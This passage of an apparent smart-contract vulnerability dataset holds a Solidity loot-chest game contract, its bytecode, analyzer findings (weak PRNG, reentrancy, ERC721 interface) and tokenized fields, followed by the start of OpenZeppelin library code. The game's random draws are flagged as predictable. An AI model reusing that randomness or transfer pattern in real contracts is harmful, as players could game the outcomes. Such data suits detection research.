700) { boosterContract.mintBooster(msg.sender, 7 days, 2, 1, 1, chest.raiseStrength); //Small Freezer } else if (random > 550) { boosterContract.mintBooster(msg.sender, 2 days, 3, 1, 1, chest.raiseStrength); //Small Power Booster } else if (random > 400) { boosterContract.mintBooster(msg.sender, 12 hours, 4, 1, 1, chest.raiseStrength); //Tiny Watch } else if (random > 325) { boosterContract.mintBooster(msg.sender, 48 hours, 4, 2, 1, chest.raiseStrength); //Small Watch } else if (random > 250) { boosterContract.mintBooster(msg.sender, 2 days, 1, 2, 1, chest.raiseStrength); //Mid Agility Booster } else if (random > 175) { boosterContract.mintBooster(msg.sender, 14 days, 2, 2, 1, chest.raiseStrength); //Mid Freezer } else if (random > 100) { boosterContract.mintBooster(msg.sender, 2 days, 3, 2, 1, chest.raiseStrength); //Mid Power Booster } else if (random > 80) { boosterContract.mintBooster(msg.sender, 2 days, 1, 3, 1, chest.raiseStrength); //Big Agility Booster } else if (random > 60) { boosterContract.mintBooster(msg.sender, 30 days, 2, 3, 1, chest.raiseStrength); //Big Freezer } else if (random > 40) { boosterContract.mintBooster(msg.sender, 2 days, 3, 3, 1, chest.raiseStrength); //Big Power Booster } else if (random > 20) { boosterContract.mintBooster(msg.sender, 0, 5, 1, 1, 0); //Instant Attack } else { boosterContract.mintBooster(msg.sender, 3 days, 4, 3, 1, 0); //Gold Watch } } } _transfer(msg.sender, address(0), _tokenId); //burn chest } //ERC721 functionality //could split this to a different contract but doesn't make it easier to read event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); function totalSupply() public view returns (uint256 total) { total = chests.length; } function balanceOf(address _owner) public view returns (uint256 balance){ balance = balances[_owner]; } function ownerOf(uint256 _tokenId) public view returns (address owner){ owner = chests[_tokenId].owner; } function _transfer(address _from, address _to, uint256 _tokenId) internal { require(chests[_tokenId].owner == _from); //can only transfer if previous owner equals from chests[_tokenId].owner = _to; approved[_tokenId] = address(0); //reset approved of fish on every transfer balances[_from] -= 1; //underflow can only happen on 0x balances[_to] += 1; //overflows only with very very large amounts of fish Transfer(_from, _to, _tokenId); } function transfer(address _to, uint256 _tokenId) public onlyChestOwner(_tokenId) //check if msg.sender is the owner of this fish returns (bool) { _transfer(msg.sender, _to, _tokenId); //after master modifier invoke internal transfer return true; } function approve(address _to, uint256 _tokenId) public onlyChestOwner(_tokenId) { approved[_tokenId] = _to; Approval(msg.sender, _to, _tokenId); } function transferFrom(address _from, address _to, uint256 _tokenId) public returns (bool) { require(approved[_tokenId] == msg.sender); //require msg.sender to be approved for this token _transfer(_from, _to, _tokenId); //handles event, balances and approval reset return true; } }
0x6060604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063095ea7b3146100f657806318160ddd1461013857806323b872dd1461016157806327e235e3146101da57806327f7be99146102275780633092afd51461027c57806336541cc5146102b55780636352211e1461037257806370a08231146103d55780637d4061e6146104225780638da5cb5b14610485578063923f1788146104da578063983b2d56146104fd578063a9059cbb14610536578063c2356d2314610590578063f2fde38b1461060a578063f46eccc414610643575b600080fd5b341561010157600080fd5b610136600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610694565b005b341561014357600080fd5b61014b6107be565b6040518082815260200191505060405180910390f35b341561016c57600080fd5b6101c0600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506107cb565b604051808215151515815260200191505060405180910390f35b34156101e557600080fd5b610211600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610850565b6040518082815260200191505060405180910390f35b341561023257600080fd5b61023a610868565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561028757600080fd5b6102b3600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061088e565b005b34156102c057600080fd5b6102d66004808035906020019091905050610944565b604051808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018761ffff1661ffff1681526020018661ffff1661ffff1681526020018562ffffff1662ffffff1681526020018460ff1660ff1681526020018360ff1660ff1681526020018262ffffff1662ffffff16815260200197505050505050505060405180910390f35b341561037d57600080fd5b6103936004808035906020019091905050610a06565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103e057600080fd5b61040c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a4d565b6040518082815260200191505060405180910390f35b341561042d57600080fd5b6104436004808035906020019091905050610a96565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561049057600080fd5b610498610ac9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104e557600080fd5b6104fb6004808035906020019091905050610aee565b005b341561050857600080fd5b610534600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061226f565b005b341561054157600080fd5b610576600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050612325565b604051808215151515815260200191505060405180910390f35b341561059b57600080fd5b610608600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803561ffff1690602001909190803562ffffff1690602001909190803562ffffff1690602001909190803560ff1690602001909190803560ff169060200190919050506123b5565b005b341561061557600080fd5b610641600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612625565b005b341561064e57600080fd5b61067a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061277a565b604051808215151515815260200191505060405180910390f35b803373ffffffffffffffffffffffffffffffffffffffff166001828154811015156106bb57fe5b906000526020600020900160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561070c57600080fd5b826003600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550818373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a4505050565b6000600180549050905090565b60003373ffffffffffffffffffffffffffffffffffffffff166003600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561083a57600080fd5b61084584848461279a565b600190509392505050565b60046020528060005260406000206000915090505481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108e957600080fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60018181548110151561095357fe5b90600052602060002090016000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060000160149054906101000a900461ffff16908060000160169054906101000a900461ffff16908060000160189054906101000a900462ffffff169080600001601b9054906101000a900460ff169080600001601c9054906101000a900460ff169080600001601d9054906101000a900462ffffff16905087565b6000600182815481101515610a1757fe5b906000526020600020900160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60036020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610af66129bc565b6000806000806000863373ffffffffffffffffffffffffffffffffffffffff16600182815481101515610b2557fe5b906000526020600020900160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610b7657600080fd5b600188815481101515610b8557fe5b906000526020600020900160e060405190810160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900461ffff1661ffff1661ffff1681526020016000820160169054906101000a900461ffff1661ffff1661ffff1681526020016000820160189054906101000a900462ffffff1662ffffff1662ffffff16815260200160008201601b9054906101000a900460ff1660ff1660ff16815260200160008201601c9054906101000a900460ff1660ff1660ff16815260200160008201601d9054906101000a900462ffffff1662ffffff1662ffffff16815250509650866020015195506000876080015160ff16141515611247576001876080015160ff161480610ce957506003876080015160ff16145b15610e2057600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663262bcb68336202a3008a608001518b60a001518c602001518d60c001516040518763ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018663ffffffff1681526020018560ff1660ff1681526020018460ff1660ff1681526020018361ffff1663ffffffff1681526020018262ffffff1662ffffff1681526020019650505050505050600060405180830381600087803b1515610e0b57600080fd5b5af11515610e1857600080fd5b505050611242565b6005876080015160ff161415610f5457600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663262bcb68336000600560018c602001518d60c001516040518763ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018663ffffffff1681526020018560ff1681526020018460ff1681526020018361ffff1663ffffffff1681526020018262ffffff1662ffffff1681526020019650505050505050600060405180830381600087803b1515610f3f57600080fd5b5af11515610f4c57600080fd5b505050611241565b6002876080015160ff1614156110cc5762093a80945060028760a0015160ff161415610f8557621275009450610f9d565b60038760a0015160ff161415610f9c5762278d0094505b5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663262bcb68338760058b608001518c602001518d60c001516040518763ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018663ffffffff1663ffffffff1681526020018560ff1681526020018460ff1660ff1681526020018361ffff1663ffffffff1681526020018262ffffff1662ffffff1681526020019650505050505050600060405180830381600087803b15156110b757600080fd5b5af115156110c457600080fd5b505050611240565b6004876080015160ff16141561123f5761a8c0935060028760a0015160ff1614156110fc576202a3009350611114565b60038760a0015160ff161415611113576203f48093505b5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663262bcb68338660048b60a001518c602001518d60c001516040518763ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018663ffffffff1663ffffffff1681526020018560ff1681526020018460ff1660ff1681526020018361ffff1663ffffffff1681526020018262ffffff1662ffffff1681526020019650505050505050600060405180830381600087803b151561122e57600080fd5b5af1151561123b57600080fd5b5050505b5b5b5b612259565b600092505b8561ffff168360ff1610156122585786606001516103e841600143034086600180549050604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140184600019166000191681526020018360ff1660ff167f010000000000000000000000000000000000000000000000000000000000000002815260010182815260200194505050505060405180910390206001900461ffff1681151561131657fe5b0661ffff160391506103528262ffffff16111561144b57600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663262bcb68336202a30060018060018d60c001516040518763ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018663ffffffff1681526020018560ff1681526020018460ff1681526020018363ffffffff1681526020018262ffffff1662ffffff1681526020019650505050505050600060405180830381600087803b151561143657600080fd5b5af1151561144357600080fd5b50505061224b565b6102bc8262ffffff16111561157857600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663262bcb683362093a8060026001808d60c001516040518763ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018663ffffffff1681526020018560ff1681526020018460ff1681526020018363ffffffff1681526020018262ffffff1662ffffff1681526020019650505050505050600060405180830381600087803b151561156357600080fd5b5af1151561157057600080fd5b50505061224a565b6102268262ffffff1611156116a557600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663262bcb68336202a30060036001808d60c001516040518763ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018663ffffffff1681526020018560ff1681526020018460ff1681526020018363ffffffff1681526020018262ffffff1662ffffff1681526020019650505050505050600060405180830381600087803b151561169057600080fd5b5af1151561169d57600080fd5b505050612249565b6101908262ffffff1611156117d157600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663262bcb683361a8c060046001808d60c001516040518763ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018663ffffffff1681526020018560ff1681526020018460ff1681526020018363ffffffff1681526020018262ffffff1662ffffff1681526020019650505050505050600060405180830381600087803b15156117bc57600080fd5b5af115156117c957600080fd5b505050612248565b6101458262ffffff1611156118ff57600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663262bcb68336202a3006004600260018d60c001516040518763ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018663ffffffff1681526020018560ff1681526020018460ff1681526020018363ffffffff1681526020018262ffffff1662ffffff1681526020019650505050505050600060405180830381600087803b15156118ea57600080fd5b5af115156118f757600080fd5b505050612247565b60fa8262ffffff161115611a2c57600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663262bcb68336202a3006001600260018d60c001516040518763ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018663ffffffff1681526020018560ff1681526020018460ff1681526020018363ffffffff1681526020018262ffffff1662ffffff1681526020019650505050505050600060405180830381600087803b1515611a1757600080fd5b5af11515611a2457600080fd5b505050612246565b60af8262ffffff161115611b5857600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663262bcb68336212750060028060018d60c001516040518763ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018663ffffffff1681526020018560ff1681526020018460ff1681526020018363ffffffff1681526020018262ffffff1662ffffff1681526020019650505050505050600060405180830381600087803b1515611b4357600080fd5b5af11515611b5057600080fd5b505050612245565b60648262ffffff161115611c8557600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663262bcb68336202a3006003600260018d60c001516040518763ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018663ffffffff1681526020018560ff1681526020018460ff1681526020018363ffffffff1681526020018262ffffff1662ffffff1681526020019650505050505050600060405180830381600087803b1515611c7057600080fd5b5af11515611c7d57600080fd5b505050612244565b60508262ffffff161115611db257600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663262bcb68336202a3006001600360018d60c001516040518763ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018663ffffffff1681526020018560ff1681526020018460ff1681526020018363ffffffff1681526020018262ffffff1662ffffff1681526020019650505050505050600060405180830381600087803b1515611d9d57600080fd5b5af11515611daa57600080fd5b505050612243565b603c8262ffffff161115611edf57600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663262bcb683362278d006002600360018d60c001516040518763ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018663ffffffff1681526020018560ff1681526020018460ff1681526020018363ffffffff1681526020018262ffffff1662ffffff1681526020019650505050505050600060405180830381600087803b1515611eca57600080fd5b5af11515611ed757600080fd5b505050612242565b60288262ffffff16111561200b57600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663262bcb68336202a30060038060018d60c001516040518763ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018663ffffffff1681526020018560ff1681526020018460ff1681526020018363ffffffff1681526020018262ffffff1662ffffff1681526020019650505050505050600060405180830381600087803b1515611ff657600080fd5b5af1151561200357600080fd5b505050612241565b60148262ffffff16111561212d57600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663262bcb68336000600560018060006040518763ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018663ffffffff1681526020018560ff1681526020018460ff1681526020018363ffffffff1681526020018262ffffff1681526020019650505050505050600060405180830381600087803b151561211857600080fd5b5af1151561212557600080fd5b505050612240565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663262bcb68336203f48060046003600160006040518763ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018663ffffffff1681526020018560ff1681526020018460ff1681526020018363ffffffff1681526020018262ffffff1681526020019650505050505050600060405180830381600087803b151561222f57600080fd5b5af1151561223c57600080fd5b5050505b5b5b5b5b5b5b5b5b5b5b5b828060010193505061124c565b5b6122653360008a61279a565b5050505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156122ca57600080fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000813373ffffffffffffffffffffffffffffffffffffffff1660018281548110151561234e57fe5b906000526020600020900160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561239f57600080fd5b6123aa33858561279a565b600191505092915050565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561240d57600080fd5b600180548091906001016124219190612a28565b508560018080805490500381548110151561243857fe5b906000526020600020900160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508460018080805490500381548110151561249a57fe5b906000526020600020900160000160146101000a81548161ffff021916908361ffff160217905550836001808080549050038154811015156124d857fe5b9060005260206000209001600001601d6101000a81548162ffffff021916908362ffffff1602179055508260018080805490500381548110151561251857fe5b906000526020600020900160000160186101000a81548162ffffff021916908362ffffff1602179055508160018080805490500381548110151561255857fe5b9060005260206000209001600001601b6101000a81548160ff021916908360ff1602179055508060018080805490500381548110151561259457fe5b9060005260206000209001600001601c6101000a81548160ff021916908360ff16021790555060018080549050038673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561268057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156126bc57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60056020528060005260406000206000915054906101000a900460ff1681565b8273ffffffffffffffffffffffffffffffffffffffff166001828154811015156127c057fe5b906000526020600020900160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561281157600080fd5b8160018281548110151561282157fe5b906000526020600020900160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060006003600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055506001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b60e060405190810160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600061ffff168152602001600061ffff168152602001600062ffffff168152602001600060ff168152602001600060ff168152602001600062ffffff1681525090565b815481835581811511612a4f57818360005260206000209182019101612a4e9190612a54565b5b505050565b612b1591905b80821115612b1157600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556000820160146101000a81549061ffff02191690556000820160166101000a81549061ffff02191690556000820160186101000a81549062ffffff021916905560008201601b6101000a81549060ff021916905560008201601c6101000a81549060ff021916905560008201601d6101000a81549062ffffff021916905550600101612a5a565b5090565b905600a165627a7a7230582022ad7fbff657ab346d395196eb78fca19320a2fd26a2cb2165dfcdb4e3ca8d850029
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "erc721-interface", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'weak-prng', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'erc721-interface', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 2063, 28756, 2575, 2278, 22025, 2581, 2497, 2487, 2094, 17788, 2497, 26224, 2692, 2050, 22394, 19797, 2497, 2629, 2050, 16703, 2497, 2620, 27717, 2546, 2683, 2487, 2094, 2509, 2497, 2575, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 2219, 3085, 1008, 1030, 16475, 1996, 2219, 3085, 3206, 2038, 2019, 3954, 4769, 1010, 1998, 3640, 3937, 20104, 2491, 1008, 4972, 1010, 2023, 21934, 24759, 14144, 1996, 7375, 1997, 1000, 5310, 6656, 2015, 1000, 1012, 1008, 1013, 3206, 2219, 3085, 1063, 4769, 2270, 3954, 1025, 2724, 6095, 6494, 3619, 7512, 5596, 1006, 4769, 25331, 3025, 12384, 2121, 1010, 4769, 25331, 2047, 12384, 2121, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 1996, 2219, 3085, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,503
0x96e6760511e1b9bd8105b23a7243e2102414e56e
// SPDX-License-Identifier: MIT // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) /** .__ | |__ ____ ____ ________________ _______ ___.__. | | \ / _ \ / \ / _ \_ __ \__ \\_ __ < | | | Y ( <_> ) | ( <_> ) | \// __ \| | \/\___ | |___| /\____/|___| /\____/|__| (____ /__| / ____| \/ \/ \/ \/ .__ __ __ _____ |__| _____/ |_ ___________ ____ _____/ |_ _/ ____\______ ____ ____ ______ | |/ \ __\/ __ \_ __ \/ \_/ __ \ __\ \ __\\_ __ \/ __ \ / \ / ___/ | | | \ | \ ___/| | \/ | \ ___/| | | | | | \| ___/| | \\___ \ |__|___| /__| \___ >__| |___| /\___ >__| |__| |__| \___ >___| /____ > \/ \/ \/ \/ \/ \/ \/ */ pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is 